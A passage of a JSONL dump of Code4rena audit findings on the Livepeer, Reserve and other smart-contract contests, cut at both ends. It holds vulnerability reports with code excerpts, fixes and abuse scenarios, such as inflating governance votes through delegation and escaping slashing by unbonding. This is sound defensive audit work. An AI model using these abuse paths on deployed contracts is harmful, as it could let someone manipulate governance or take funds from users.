\nhttps://github.com/code-423n4/2023-08-livepeer/blob/a3d801fa4690119b6f96aeb5508e58d752bda5bc/contracts/bonding/BondingManager.sol#L420-L440\nThe problem relies in the fact that a fully slashed transcoder, even if it gets resigned, he is still seen as an active transcoder in the case of voting. Let's assume this case :\n- a transcoder gets fully slashed and gets resigned from the transcoder pools, getting his `bondedAmount` to 0, but he still has `delegatedAmount` to his address since nothing happens this variable\nhttps://github.com/code-423n4/2023-08-livepeer/blob/a3d801fa4690119b6f96aeb5508e58d752bda5bc/contracts/bonding/BondingManager.sol#L402-L418\n- transcoder vote a proposal and when his weighting gets calculated here https://github.com/OpenZeppelin/openzeppelin-contracts-upgradeable/blob/f34a3a7e5a1d698d87d517fda698d48286310bee/contracts/governance/GovernorUpgradeable.sol#L581, it will use the `_getVotes` from `GovernorVotesUpgradeable.sol` https://github.com/OpenZeppelin/openzeppelin-contracts-upgradeable/blob/f34a3a7e5a1d698d87d517fda698d48286310bee/contracts/governance/extensions/GovernorVotesUpgradeable.sol#L55-L61\n- `_getVotes` calls `getPastVotes` on `BondingVotes.sol` https://github.com/code-423n4/2023-08-livepeer/blob/a3d801fa4690119b6f96aeb5508e58d752bda5bc/contracts/bonding/BondingVotes.sol#L167-L170 which returns the amount of weight specific to this transcoder and as you can see, because the transcoder has a `bondedAmount` equal to 0, the first if statement will be true and 0 will be returned https://github.com/code-423n4/2023-08-livepeer/blob/a3d801fa4690119b6f96aeb5508e58d752bda5bc/contracts/bonding/BondingVotes.sol#L372-L373\n- 0 weight will be passed into `_countVote` which will then be passed into `_handleVoteOverrides` https://github.com/code-423n4/2023-08-livepeer/blob/a3d801fa4690119b6f96aeb5508e58d752bda5bc/contracts/treasury/GovernorCountingOverridable.sol#L151\n- then it will check if the caller is a transcoder, which will be true in our case, because nowhere in the `slashTranscoder` function, or any other function the transcoder `delegateAddress` gets changed, so this if statement will be true https://github.com/code-423n4/2023-08-livepeer/blob/a3d801fa4690119b6f96aeb5508e58d752bda5bc/contracts/treasury/GovernorCountingOverridable.sol#L182-L184, which will try to deduct the weight from any previous delegators https://github.com/code-423n4/2023-08-livepeer/blob/a3d801fa4690119b6f96aeb5508e58d752bda5bc/contracts/treasury/GovernorCountingOverridable.sol#L184-L189\n- if any delegator already overridden any amount this subtraction would revert, but if that is not the case, 0 weight will be returned, which is then used to vote `for`, `against` , `abstain`, but since 0 weight is passed no changed will be made.\n- now the big problem arise, if any delegator that delegated their votes to this specific transcoder want to change their vote, when his weight gets calculated, `delegatorCumulativeStakeAt` gets called https://github.com/code-423n4/2023-08-livepeer/blob/a3d801fa4690119b6f96aeb5508e58d752bda5bc/contracts/bonding/BondingVotes.sol#L459-L487 which will return most of the time his `bondedAmount`, amount which is greater than 0, since he didn't unbound.\n- because of that when `_handleVoteOverrides` gets called in `_countVote`, to override the vote, this if statement will be true, since the transcoder voted already, but with 0 weight https://github.com/code-423n4/2023-08-livepeer/blob/a3d801fa4690119b6f96aeb5508e58d752bda5bc/contracts/treasury/GovernorCountingOverridable.sol#L195 and the delegator weight gets subtracted from the support that the transcoder used in his vote\n- the system in this case expect the transcoder to vote with the whole `delegatedAmount`, which will make the subtraction viable, since the weight of the delegator should be included in the full `delegatedAmount` of that specific transcoder, but since the transcoder voted with 0 weight, the subtraction would be done from other delegators/transcoders votes.\n- also this can be abused by a transcoder by voting a category which he knows will not get a lot of votes, if let's say a transcoder used his 0 weight to vote for `abstain` and every other voter will vote on `for` or `against`, every time one of his delegators want to change the vote the subtraction can revert, which will force those delegators out of the vote, until they will change their transcoder\n\n## Tools Used\nManual review\n## Recommended Mitigation Steps\nIf a transcoder gets fully slashed and resigned, delete his address from `delegateAddress` so he will not appear as a transcoder in the mechanism of counting the votes. If he still wants to participate in the system he can act as a delegator to another transcoder. Another solution would be to not let 0 weight votes happen anyways, since they don't modify the vote state at all.\n\n\n## Assessed type\n\nGovernance","dataSource":{"name":"code-423n4/2023-08-livepeer-findings","repo":"https://github.com/code-423n4/2023-08-livepeer-findings","url":"https://github.com/code-423n4/2023-08-livepeer-findings/issues/194"}} +{"title":"Gas Optimizations","body":"See the markdown file with the details of this report [here](https://github.com/code-423n4/2023-08-livepeer-findings/blob/main/data/turvy_fuzz-G.md).","dataSource":{"name":"code-423n4/2023-08-livepeer-findings","repo":"https://github.com/code-423n4/2023-08-livepeer-findings","url":"https://github.com/code-423n4/2023-08-livepeer-findings/issues/193"}} +{"title":"Gas Optimizations","body":"See the markdown file with the details of this report [here](https://github.com/code-423n4/2023-08-livepeer-findings/blob/main/data/ReyAdmirado-G.md).","dataSource":{"name":"code-423n4/2023-08-livepeer-findings","repo":"https://github.com/code-423n4/2023-08-livepeer-findings","url":"https://github.com/code-423n4/2023-08-livepeer-findings/issues/185"}} +{"title":"Gas Optimizations","body":"See the markdown file with the details of this report [here](https://github.com/code-423n4/2023-08-livepeer-findings/blob/main/data/Sathish9098-G.md).","dataSource":{"name":"code-423n4/2023-08-livepeer-findings","repo":"https://github.com/code-423n4/2023-08-livepeer-findings","url":"https://github.com/code-423n4/2023-08-livepeer-findings/issues/172"}} +{"title":"Underflow in updateTranscoderWithFees can cause corrupted data and loss of winning tickets.","severity":"major","body":"# Lines of code\n\nhttps://github.com/code-423n4/2023-08-livepeer/blob/main/contracts/bonding/BondingManager.sol#L355\n\n\n# Vulnerability details\n\n### Summary\n`updateTranscoderWtihFees` can underflow because MathUtils is used instead of PreciseMathUtils.\n### Proof of Concept\nAccording to [LIP-92](https://github.com/livepeer/LIPs/blob/master/LIPs/LIP-92.md) the initial `treasuryRewardCutRate` will be set to `10%`.\n`treasuryRewardCutRate` is set with the `setTreasuryRewardCutRate()`function, which calls the internal function `_setTreasuryRewardCutRate()`. \n```javascript\nfile: 2023-08-livepeer/contracts/bonding/BondingManager.sol\n\nfunction _setTreasuryRewardCutRate(uint256 _cutRate) internal {\n require(PreciseMathUtils.validPerc(_cutRate), \"_cutRate is invalid precise percentage\");\n```\n\nIn this function the value will be checked if it's a valid `PreciseMathUtils` percentage (<100% specified with 27-digits precision):\n```javascript\nfile: 2023-08-livepeer/contracts/libraries/PreciseMathUtils.sol\nlibrary PreciseMathUtils {\n// ...\n // Divisor used for representing percentages\n uint256 public constant PERC_DIVISOR = 10**27;\n\tfunction validPerc(uint256 _amount) internal pure returns (bool) {\n return _amount <= PERC_DIVISOR;\n }\n// ...\n```\n\nHowever, in `updateTranscoderWithFees`, to calculate `treasuryRewards`, `MathUtils` is used instead of `PreciseMathUtils`.\n```javascript\nfile: 2023-08-livepeer/contracts/bonding/BondingManager.sol\n\nfunction updateTranscoderWithFees(\n address _transcoder,\n uint256 _fees,\n uint256 _round\n ) external whenSystemNotPaused onlyTicketBroker {\n// ...\nuint256 treasuryRewards = MathUtils.percOf(rewards, treasuryRewardCutRate);\nrewards = rewards.sub(treasuryRewards);\n// ...\n}\n```\n\n`MathUtils` uses a `PREC_DIVISOR` of `1000000` instead of `10 ** 27` from the `PreciseMathUtils`:\n```javascript\nfile: 2023-08-livepeer/contracts/libraries/MathUtils.sol\nlibrary MathUtils {\n// ...\n uint256 public constant PERC_DIVISOR = 1000000;\n// ...\n```\n\nThis leads to `treasuryRewards` value being bigger than expected. Here is a gist of the POC:\n[POC](https://gist.github.com/bronzepickaxe/60063c47c327a1f2d4ee3dbd6361049b). Running the POC it shows that the current usage of `MathUtils` when calculating `treasuryRewards` will always cause an underflow in the next line of code.\n\n`updateTranscoderWithFees` is called every time a winning ticket is redeemed . Whenever the transcoder has skipped the previous round reward call, this function has to re-calculate the rewards, as documented in [LIP-92](https://github.com/livepeer/LIPs/blob/master/LIPs/LIP-92.md?plain=1#L130) This re-calculation will always fail due to the underflow shown above. \n### Impact\nThis will lead to accounting errors, unexpected behaviours and can cause a loss of winning tickets.\n\nFirstly, the accounting errors and unexpected behaviours: these are all the storage values getting updated in `updateTranscoderWithFees`:\n```javascript\nfile: 2023-08-livepeer/contracts/bonding/BondingManager.sol\n\nfunction updateTranscoderWithFees( address _transcoder,\n uint256 _fees,\n uint256 _round\n ) external whenSystemNotPaused onlyTicketBroker {\n// ...\n// transcoder & earningsPool.data\nL314: Transcoder storage t = transcoders[_transcoder];\nL321: EarningsPool.Data storage earningsPool = t.earningsPoolPerRound[currentRound];\n\n//accounting updates happen here\nL377: t.cumulativeFees = t.cumulativeFees.add(transcoderRewardStakeFees)\n\t .add(transcoderCommissionFees);\nL382: earningsPool.updateCumulativeFeeFactor(prevEarningsPool,delegatorsFees);\nL384: t.lastFeeRound = currentRound;\n```\n- Let `currentRound() - 1` be the previous round where the transcoder skipped the reward call\n- Let `currentRound()` be current round\n- Let `currentRound() + 1` be the next round\n\nDuring `currentRound()` it wont be possible to update the `Transcoder` storage or\n`earningsPool.data` storage because of the underflow that will happen because `currentRound() - 1` reward call has been skipped by the transcoder.\n\nDuring `currentRound() + 1` it will be possible to call `updateTranscoderWithFees`, however, L382 will only update the `prevEarningsPool`, which in this case will be `currentRound()`, not `currentRound - 1`. Therefor, the `EarningsPool.data.cumulativeRewardFactor` won't be updated for `currentRound() - 1`.\n\nLastly, the validity of a ticket is two rounds as per the [specs](https://github.com/livepeer/wiki/blob/master/spec/streamflow/pm.md?plain=1#L107). This means that a transcoder that receives a winning ticket in `currentRound() - 1` should be able to redeem it in `currentRound() - 1` and `currentRound()`. However, a transcoder that receives a winning ticket in `currentRound() - 1` wont be able to redeem it in `currentRound()` because of the underflow that happens while redeeming a winning ticket in `currentRound()`. The transcoder wont be able to redeem it after `currentRound + 1..N` because the ticket will be expired.\n## Tools Used\nManual Review\n## Recommended Mitigation Steps\nUse `PreciseMathLib` instead of `MathLib`:\n```javascript\nfile: 2023-08-livepeer/contracts/bonding/BondingManager.sol\n\nL355: \n- uint256 treasuryRewards = MathUtils.percOf(rewards, treasuryRewardCutRate);\n+ uint256 treasuryRewards = PreciseMathUtils.percOf(rewards, treasuryRewardCutRate);\n```\n\n\n## Assessed type\n\nLibrary","dataSource":{"name":"code-423n4/2023-08-livepeer-findings","repo":"https://github.com/code-423n4/2023-08-livepeer-findings","url":"https://github.com/code-423n4/2023-08-livepeer-findings/issues/165"}} +{"title":"QA Report","body":"See the markdown file with the details of this report [here](https://github.com/code-423n4/2023-08-livepeer-findings/blob/main/data/DavidGiladi-Q.md).","dataSource":{"name":"code-423n4/2023-08-livepeer-findings","repo":"https://github.com/code-423n4/2023-08-livepeer-findings","url":"https://github.com/code-423n4/2023-08-livepeer-findings/issues/158"}} +{"title":"Gas Optimizations","body":"See the markdown file with the details of this report [here](https://github.com/code-423n4/2023-08-livepeer-findings/blob/main/data/JCK-G.md).","dataSource":{"name":"code-423n4/2023-08-livepeer-findings","repo":"https://github.com/code-423n4/2023-08-livepeer-findings","url":"https://github.com/code-423n4/2023-08-livepeer-findings/issues/152"}} +{"title":"QA Report","body":"See the markdown file with the details of this report [here](https://github.com/code-423n4/2023-08-livepeer-findings/blob/main/data/Proxy-Q.md).","dataSource":{"name":"code-423n4/2023-08-livepeer-findings","repo":"https://github.com/code-423n4/2023-08-livepeer-findings","url":"https://github.com/code-423n4/2023-08-livepeer-findings/issues/150"}} +{"title":"Gas Optimizations","body":"See the markdown file with the details of this report [here](https://github.com/code-423n4/2023-08-livepeer-findings/blob/main/data/lsaudit-G.md).","dataSource":{"name":"code-423n4/2023-08-livepeer-findings","repo":"https://github.com/code-423n4/2023-08-livepeer-findings","url":"https://github.com/code-423n4/2023-08-livepeer-findings/issues/132"}} +{"title":"withdrawFees does not update checkpoint","severity":"medium","body":"# Lines of code\n\nhttps://github.com/code-423n4/2023-08-livepeer/blob/bcf493b98d0ef835e969e637f25ea51ab77fabb6/contracts/bonding/BondingManager.sol#L273-L277\nhttps://github.com/code-423n4/2023-08-livepeer/blob/bcf493b98d0ef835e969e637f25ea51ab77fabb6/contracts/bonding/BondingManager.sol#L130-L133\nhttps://github.com/code-423n4/2023-08-livepeer/blob/bcf493b98d0ef835e969e637f25ea51ab77fabb6/contracts/bonding/BondingManager.sol#L1667-L1671\nhttps://github.com/code-423n4/2023-08-livepeer/blob/bcf493b98d0ef835e969e637f25ea51ab77fabb6/contracts/bonding/BondingManager.sol#L1500-L1552\n\n\n# Vulnerability details\n\n## Impact\nBondingVotes may have stale data due to missing checkpoint in BondingManager#withdrawFees().\n\n## Proof of Concept\nThe withdrawFee function has the autoClaimEarnings modifier:\n```Solidity\n function withdrawFees(address payable _recipient, uint256 _amount) external whenSystemNotPaused currentRoundInitialized autoClaimEarnings(msg.sender) {\n```\nwhich calls _autoClaimEarnings:\n```Solidity\nmodifier autoClaimEarnings(address _delegator) {\n _autoClaimEarnings(_delegator);\n _;\n```\n\nwhich calls updateDelegatorWithEarnings:\n```Solidity\nfunction _autoClaimEarnings(address _delegator) internal {\n uint256 currentRound = roundsManager().currentRound();\n uint256 lastClaimRound = delegators[_delegator].lastClaimRound;\n if (lastClaimRound < currentRound) {\n updateDelegatorWithEarnings(_delegator, currentRound, lastClaimRound);\n }\n }\n```\nDuring updateDelegatorWithEarnings both delegator.lastClaimRound delegator.bondedAmount can be assigned new values.\n```Solidity\n del.lastClaimRound = _endRound;\n // Rewards are bonded by default\n del.bondedAmount = currentBondedAmount;\n```\nHowever during the lifecycle of all these functions _checkpointBondingState is never called either directly or throught the autoCheckpoint modifier resulting in lastClaimRound & bondedAmount's values being stale in BondingVotes.sol.\n\n## Tools Used\nManual Review\n\n## Recommended Mitigation Steps\nAdd autoCheckpoint modifier to the withdrawFees function.\n\n\n## Assessed type\n\nOther","dataSource":{"name":"code-423n4/2023-08-livepeer-findings","repo":"https://github.com/code-423n4/2023-08-livepeer-findings","url":"https://github.com/code-423n4/2023-08-livepeer-findings/issues/104"}} +{"title":"By delegating to a non-transcoder, a delegator can reduce the tally of somebody else's vote choice without first granting them any voting power","severity":"major","body":"# Lines of code\n\nhttps://github.com/code-423n4/2023-08-livepeer/blob/a3d801fa4690119b6f96aeb5508e58d752bda5bc/contracts/treasury/GovernorCountingOverridable.sol#L174-L212\n\n\n# Vulnerability details\n\n## Impact\n\nA delegate can subtract their own voting weight from the voting choice of another delegate, even if that user isn't a transcoder. Since they are not a transcoder, they don't have their votes initially increased by the amount delegated to them, voting weight is still subtracted from the tally of their vote choice.\n\nMaliciously, this could be used to effectively double one's voting power, by delegating their votes to a delegator who is about to vote for the choice which they don't want. It can also occur accidentally, for example when somebody delegates to a transcoder who later switches role to delegate.\n\n## Proof of Concept\n\nWhen a user is not a transcoder, their votes are determined by the amount they have delegated to the delegatedAddress, and does not increase when a user delegates to them:\n\n```solidity\n if (bond.bondedAmount == 0) {\n amount = 0;\n } else if (isTranscoder) {\n amount = bond.delegatedAmount;\n } else {\n amount = delegatorCumulativeStakeAt(bond, _round);\n }\n }\n```\n\nLets that this delegator (Alice) has 100 votes and votes `For`, Then another delegator(Bob) has delegated 1000 votes to Alice As stated above, Alice doesn't get the voting power of Bob's 1000 votes, so the `For` count increases by 100.\n\nBob now votes, and `_handleVotesOverrides` is called. In this function, the first conditional, `if isTranscoder` will return false as Bob is not self-delegating. \n\nThen, there is a check that the address Bob has delegated to has voted. Note that there is a missing check of whether the delegate address is a transcoder. Therefore the logic inside `if (delegateVoter.hasVoted)` is executed:\n\n'''solidity\n if (delegateVoter.hasVoted) {\n // this is a delegator overriding its delegated transcoder vote,\n // we need to update the current totals to move the weight of\n // the delegator vote to the right outcome.\n VoteType delegateSupport = delegateVoter.support;\n\n if (delegateSupport == VoteType.Against) {\n _tally.againstVotes -= _weight;\n } else if (delegateSupport == VoteType.For) {\n _tally.forVotes -= _weight;\n } else {\n assert(delegateSupport == VoteType.Abstain);\n _tally.abstainVotes -= _weight;\n }\n }\n'''\n\nThe logic reduces the tally of whatever choice Alice voted for by Bob's weight. Alice initially voted `For` with 100 votes, and then the For votes is reduced by Bob's `1000 votes`. Lets say that Bob votes `Against`. This will result in an aggregate 900 vote reduction in the `For` tally and +1000 votes for `Agaisnt` after Alice and Bob has finished voting.\n\nIf Alice was a transcoder, Bob will be simply reversing the votes they had delegated to Alice. However since Alice was a delegate, they never gained the voting power that was delegated to her.\n\nBob has effectively gained the ability to vote against somebody else's votes (without first actually increasing their voting power since they are not a transcoder) and can vote themselves, which allows them to manipulate governance.\n\n## Tools Used\n\nManual Review\n\n## Recommended Mitigation Steps\n\nThere should be a check that a delegate is a transcoder before subtracting the tally. Here is some pseudocode:\n\n```\nif (delegateVoter.hasVoted && ---delegate is transcoder ---)\n```\n\nThis is an edit of the conditional of the function `_handleOverrides`. This ensures that the subtraction of vote tally is only performed when the delegate is a voter AND the delegate is a transcoder. This should fix the accounting/subtraction issue of vote tally for non-transcoder delegates.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n## Assessed type\n\nInvalid Validation","dataSource":{"name":"code-423n4/2023-08-livepeer-findings","repo":"https://github.com/code-423n4/2023-08-livepeer-findings","url":"https://github.com/code-423n4/2023-08-livepeer-findings/issues/96"}} +{"title":"QA Report","body":"See the markdown file with the details of this report [here](https://github.com/code-423n4/2023-08-livepeer-findings/blob/main/data/rvierdiiev-Q.md).","dataSource":{"name":"code-423n4/2023-08-livepeer-findings","repo":"https://github.com/code-423n4/2023-08-livepeer-findings","url":"https://github.com/code-423n4/2023-08-livepeer-findings/issues/86"}} +{"title":"Malicious transcoder can avoid slashing","body":"# Lines of code\n\nhttps://github.com/code-423n4/2023-08-livepeer/blob/main/contracts/bonding/BondingManager.sol#L411\n\n\n# Vulnerability details\n\n## Impact\nMalicious transcoder can avoid slashing\n\n## Proof of Concept\nIn case if transcoder doesn't act as he should, then he [can be slashed by verifier](https://github.com/code-423n4/2023-08-livepeer/blob/main/contracts/bonding/BondingManager.sol#L394).\n\nSlashing means that transcoder will be [removed from the transoders list](https://github.com/code-423n4/2023-08-livepeer/blob/main/contracts/bonding/BondingManager.sol#L407) and some percentage of his staked funds [will be slashed](https://github.com/code-423n4/2023-08-livepeer/blob/main/contracts/bonding/BondingManager.sol#L411).\n\nHowever, transcoder can avoid slashing very easy. He just needs to call `unbondWithHint` before slashing and withdraw all funds. Then [`UnbondingLock` will be created](https://github.com/code-423n4/2023-08-livepeer/blob/main/contracts/bonding/BondingManager.sol#L763) and transcoder will be able [to unstake it](https://github.com/code-423n4/2023-08-livepeer/blob/main/contracts/bonding/BondingManager.sol#L249) in few periods.\n## Tools Used\nVsCode\n## Recommended Mitigation Steps\nYou can allow verifier to slash some amount of `UnbondingLock` of transcoder. So if he tries to withdraw, then you still can slash planned amount of funds.\n\n\n## Assessed type\n\nError","dataSource":{"name":"code-423n4/2023-08-livepeer-findings","repo":"https://github.com/code-423n4/2023-08-livepeer-findings","url":"https://github.com/code-423n4/2023-08-livepeer-findings/issues/85"}} +{"title":"Gas Optimizations","body":"See the markdown file with the details of this report [here](https://github.com/code-423n4/2023-08-livepeer-findings/blob/main/data/0x3b-G.md).","dataSource":{"name":"code-423n4/2023-08-livepeer-findings","repo":"https://github.com/code-423n4/2023-08-livepeer-findings","url":"https://github.com/code-423n4/2023-08-livepeer-findings/issues/68"}} +{"title":"Slashable transcoder can call rewardWithHint before slashing in order to receive rewards","body":"# Lines of code\n\nhttps://github.com/code-423n4/2023-08-livepeer/blob/main/contracts/bonding/BondingManager.sol#L394-L441\n\n\n# Vulnerability details\n\n## Impact\nSlashable transcoder can call rewardWithHint before slashing in order to receive rewards\n\n## Proof of Concept\nWhen transcoder doesn't do the job or acts maliciously, then he can be slashed.\nActually that means, that such transcoder is not eligible to [receive rewards](https://github.com/code-423n4/2023-08-livepeer/blob/main/contracts/bonding/BondingManager.sol#L293-L295) for that period.\n\nHowever, it's still possible that he will call `reward` before `slashTranscoder` is called and claim rewards for the epoch.\n## Tools Used\nVsCode\n## Recommended Mitigation Steps\nDon't know correct solution.\n\n\n\n## Assessed type\n\nError","dataSource":{"name":"code-423n4/2023-08-livepeer-findings","repo":"https://github.com/code-423n4/2023-08-livepeer-findings","url":"https://github.com/code-423n4/2023-08-livepeer-findings/issues/62"}} +{"title":"In case if transcoder doesn't claim rewards, then delegators will not receive them","body":"# Lines of code\n\nhttps://github.com/code-423n4/2023-08-livepeer/blob/main/contracts/bonding/BondingManager.sol#L850\n\n\n# Vulnerability details\n\n## Impact\nIn case if transcoder doesn't claim rewards, then delegators will not receive them\n\n## Proof of Concept\n`rewardWithHint` function can be called [by transcoder only](https://github.com/code-423n4/2023-08-livepeer/blob/main/contracts/bonding/BondingManager.sol#L850).\nIn case if transcoder acts incorrectly and doesn't call `rewardWithHint` during the period, then he will not be able to get rewards for past periods anymore. As result, users will loose then and not will be able to claim them.\n\nSo they will move to other transcoder, but rewards for past periods are lost.\n\nI believe this is because, `rewardWithHint` can't be called by anyone. So when delegators see, that transcoder doesn't call `rewardWithHint` then they can call it by themselves, receive rewards and move to another transcoder.\n## Tools Used\nVsCode\n## Recommended Mitigation Steps\nMake `rewardWithHint` be permissionless.\n\n\n## Assessed type\n\nError","dataSource":{"name":"code-423n4/2023-08-livepeer-findings","repo":"https://github.com/code-423n4/2023-08-livepeer-findings","url":"https://github.com/code-423n4/2023-08-livepeer-findings/issues/61"}} +{"title":"Gas Optimizations","body":"See the markdown file with the details of this report [here](https://github.com/code-423n4/2023-08-livepeer-findings/blob/main/data/kaveyjoe-G.md).","dataSource":{"name":"code-423n4/2023-08-livepeer-findings","repo":"https://github.com/code-423n4/2023-08-livepeer-findings","url":"https://github.com/code-423n4/2023-08-livepeer-findings/issues/26"}} +{"title":"Gas Optimizations","body":"See the markdown file with the details of this report [here](https://github.com/code-423n4/2023-08-livepeer-findings/blob/main/data/K42-G.md).","dataSource":{"name":"code-423n4/2023-08-livepeer-findings","repo":"https://github.com/code-423n4/2023-08-livepeer-findings","url":"https://github.com/code-423n4/2023-08-livepeer-findings/issues/15"}} {"title":"Gas Optimizations","body":"See the markdown file with the details of this report [here](https://github.com/code-423n4/2023-09-ondo-findings/blob/main/data/adriro-G.md).","dataSource":{"name":"code-423n4/2023-09-ondo-findings","repo":"https://github.com/code-423n4/2023-09-ondo-findings","url":"https://github.com/code-423n4/2023-09-ondo-findings/issues/540"}} {"title":"QA Report","body":"See the markdown file with the details of this report [here](https://github.com/code-423n4/2023-09-ondo-findings/blob/main/data/Raihan-Q.md).","dataSource":{"name":"code-423n4/2023-09-ondo-findings","repo":"https://github.com/code-423n4/2023-09-ondo-findings","url":"https://github.com/code-423n4/2023-09-ondo-findings/issues/528"}} {"title":"QA Report","body":"See the markdown file with the details of this report [here](https://github.com/code-423n4/2023-09-ondo-findings/blob/main/data/gkrastenov-Q.md).","dataSource":{"name":"code-423n4/2023-09-ondo-findings","repo":"https://github.com/code-423n4/2023-09-ondo-findings","url":"https://github.com/code-423n4/2023-09-ondo-findings/issues/527"}} @@ -10413,6 +10729,10 @@ {"title":"QA Report","body":"See the markdown file with the details of this report [here](https://github.com/code-423n4/2023-09-centrifuge-findings/blob/main/data/7ashraf-Q.md).","dataSource":{"name":"code-423n4/2023-09-centrifuge-findings","repo":"https://github.com/code-423n4/2023-09-centrifuge-findings","url":"https://github.com/code-423n4/2023-09-centrifuge-findings/issues/463"}} {"title":"QA Report","body":"See the markdown file with the details of this report [here](https://github.com/code-423n4/2023-09-centrifuge-findings/blob/main/data/JP_Courses-Q.md).","dataSource":{"name":"code-423n4/2023-09-centrifuge-findings","repo":"https://github.com/code-423n4/2023-09-centrifuge-findings","url":"https://github.com/code-423n4/2023-09-centrifuge-findings/issues/460"}} {"title":"QA Report","body":"See the markdown file with the details of this report [here](https://github.com/code-423n4/2023-09-centrifuge-findings/blob/main/data/BARW-Q.md).","dataSource":{"name":"code-423n4/2023-09-centrifuge-findings","repo":"https://github.com/code-423n4/2023-09-centrifuge-findings","url":"https://github.com/code-423n4/2023-09-centrifuge-findings/issues/427"}} +{"title":"M-03 Unmitigated","body":"# Lines of code\n\nhttps://github.com/reserve-protocol/protocol/blob/master/contracts/plugins/assets/RTokenAsset.sol#L50-L57\n\n\n# Vulnerability details\n\n# comments\n\nThe issue presents an edge condition which will expand the error of the RToken oracle price. It can come into play when one RToken is using another RToken as collateral either directly or indirectly through an LP token. If there is RSR overcollateralization then this issue is mitigated. \n\nThe mitigation only adds some comments and docs to remind developers of this. There is no change in the code for mitigation. \n\nBut, IMO, I really agree with the way the development team handled it. I mark it as \"unmitigated\" just for calling the judge's attention to this no code mitigation.\n\n\n## Assessed type\n\nContext","dataSource":{"name":"code-423n4/2023-09-reserve-mitigation-findings","repo":"https://github.com/code-423n4/2023-09-reserve-mitigation-findings","url":"https://github.com/code-423n4/2023-09-reserve-mitigation-findings/issues/25"}} +{"title":"M-04 Unmitigated","severity":"medium","body":"# Lines of code\n\nhttps://github.com/reserve-protocol/protocol/blob/9ee60f142f9f5c1fe8bc50eef915cf33124a534f/contracts/plugins/assets/erc20/RewardableERC20.sol#L86\n\n\n# Vulnerability details\n\n## Impact\nThe previously identified vulnerability of potential rounding issues during reward calculations has not been fully mitigated. The current strategy to keep remainders and use them in subsequent `_claimAndSyncRewards()` calls does not adequately address the issue when the `rewardToken` has a decimal smaller than 6 and/or the total reward tokens entailed is much smaller. This could lead to significant truncation losses as the remainder rolls over until it's large enough to overcome truncation, unfairly disadvantaging users, particularly those exiting the investment earlier, as they would miss out on a sizable amount of reward. This rounding issue, if left unresolved, can erode trust and potentially open up the system to arbitrage opportunities, further exacerbating the loss of rewards for regular users.\n\n## PoC (Proof of Concept)\n### Scenario\nLet's assume `rewardToken` still has 6 decimals but there are only 0.5 million rewardToken to be distributed for the year and `_claimAndSyncRewards()` is called every minute. And, totalSupply = 10^6 with 18 decimals.\n\nThe expected rewards for 1 min are 500000 / 365 / 24 / 60 = 0.95 rewardToken = 950000 wei.\n\nInitially, assume `balanceAfterClaimingRewards = 1950000` (wei), and `_previousBalance = 1000000` (wei), making `delta = 950000` (wei).\n\n`deltaPerShare` will be calculated as:\n\n(950000 * 10^18) / (10^6 * 10^18) = 0\n\nNow, `balanceAfterClaimingRewards` is updated to:\n\nprevious balance + (deltaPerShare * totalSupply / one)\n= 1000000 + (0 * (10^6 * 10^18) / 10^18)\n= 1000000 + 0 = 1000000 (wei) \n\nAs illustrated, the truncation issue causes `deltaPerShare` to equal `0`. This will lead to a scenario where the rewards aren't distributed accurately among users, particularly affecting those who exit earlier before the remainder becomes large enough to surpass truncation.\n\nIn a high-frequency scenario where `_claimAndSyncRewards` is invoked often, users could miss out on a significant portion of rewards, showcasing the inadequacy of the proposed mitigation in handling the rounding loss effectively.\n\n## Mitigation\nUsing a bigger multiplier as the original report suggested seems viable, but finding a suitably discrete factor could be tricky.\n\nWhile keeping the current change per [PR #896](https://github.com/reserve-protocol/protocol/pull/896), I suggest adding another step by normalizing both `delta` and `_totalSupply` to `PRICE_DECIMALS`, i.e. 18, that will greatly minimize the prolonged remainder rollover. The intended decimals may be obtained by undoing the normalization when needed. Here are the two useful functions (assuming `decimals` is between 1 to 18) that could help handle the issue but it will require further code refactoring on `_claimAndSyncRewards()` and `_syncAccount()`. \n\n```solidity\n /// @dev Convert decimals of the value to price decimals\n function _toPriceDecimals(uint128 _value, uint8 decimals, address liquidityPool)\n internal\n view\n returns (uint256 value)\n {\n if (PRICE_DECIMALS == decimals) return uint256(_value);\n value = uint256(_value) * 10 ** (PRICE_DECIMALS - decimals);\n }\n\n /// @dev Convert decimals of the value from the price decimals back to the intended decimals\n function _fromPriceDecimals(uint256 _value, uint8 decimals, address liquidityPool)\n internal\n view\n returns (uint128 value)\n {\n if (PRICE_DECIMALS == decimals) return _toUint128(_value);\n value = _toUint128(_value / 10 ** (PRICE_DECIMALS - decimals));\n }\n```\n\n\n## Assessed type\n\nDecimal","dataSource":{"name":"code-423n4/2023-09-reserve-mitigation-findings","repo":"https://github.com/code-423n4/2023-09-reserve-mitigation-findings","url":"https://github.com/code-423n4/2023-09-reserve-mitigation-findings/issues/19"}} +{"title":"M-05 MitigationConfirmed","severity":"medium","body":"# Lines of code\n\n\n\n\n# Vulnerability details\n\nIn the previous implementation\nwhen `stakingContract.totalAllocPoint = 0`\n`stakingContract.withdraw()` and `stakingContract.deposit()` will div 0 , `revert`\nThis results in `StargateRewardableWrapper` no longer being able to execute `StargateRewardableWrapper.withdraw()`\nThe user's token is locked\n\n# Mitigation\n[PR 896](https://github.com/reserve-protocol/protocol/pull/896)\nAdd determine if `poolInfo.allocPoint` is equal to 0.\nIf equal to 0, use `stakingContract.emergencyWithdraw()` instead of `stakingContract.deposit()` to avoid revert\nthe mitigation resolved the original issue.\n\n\n# Suggestion\nSince `allocPoint==0` is used instead of `totalAllocPoint==0`\nthere may be a case where `allocPoint == 0` but `totalAllocPoint> 0`.\nBut the modified version still uses `stakingContract.emergencyWithdraw()`, which discards all rewards.\nIt is recommended that if `totalAllocPoint> 0` ,we can execute the\n`stakingContract.deposit(0)` to retrieve the reward first, then execute `stakingContract.emergencyWithdraw()`.\n\n\n","dataSource":{"name":"code-423n4/2023-09-reserve-mitigation-findings","repo":"https://github.com/code-423n4/2023-09-reserve-mitigation-findings","url":"https://github.com/code-423n4/2023-09-reserve-mitigation-findings/issues/13"}} +{"title":"H-03 MitigationConfirmed","severity":"medium","body":"# Lines of code\n\n\n\n\n# Vulnerability details\n\nIn the previous implementation\nAfter shutdown, checkpoints are stopped\n`reward.reward_integral_for[user]` No updates resulted in new users getting more rewards\nand possible theft of rewards.\n\n# Mitigation\nPR 930\nModify that `checkpoints` are already executed, just not call `IRewardStaking(convexPool).getReward(address(this), true);`\nthe mitigation resolved the original issue.\n\n# Suggestion\nNot calling `convexPool.getReward()`, there is a slight loss of rewards for transferred users\nthe feeling is that there is no need to ignore this call, `convexPool.getReward()` don't revert if 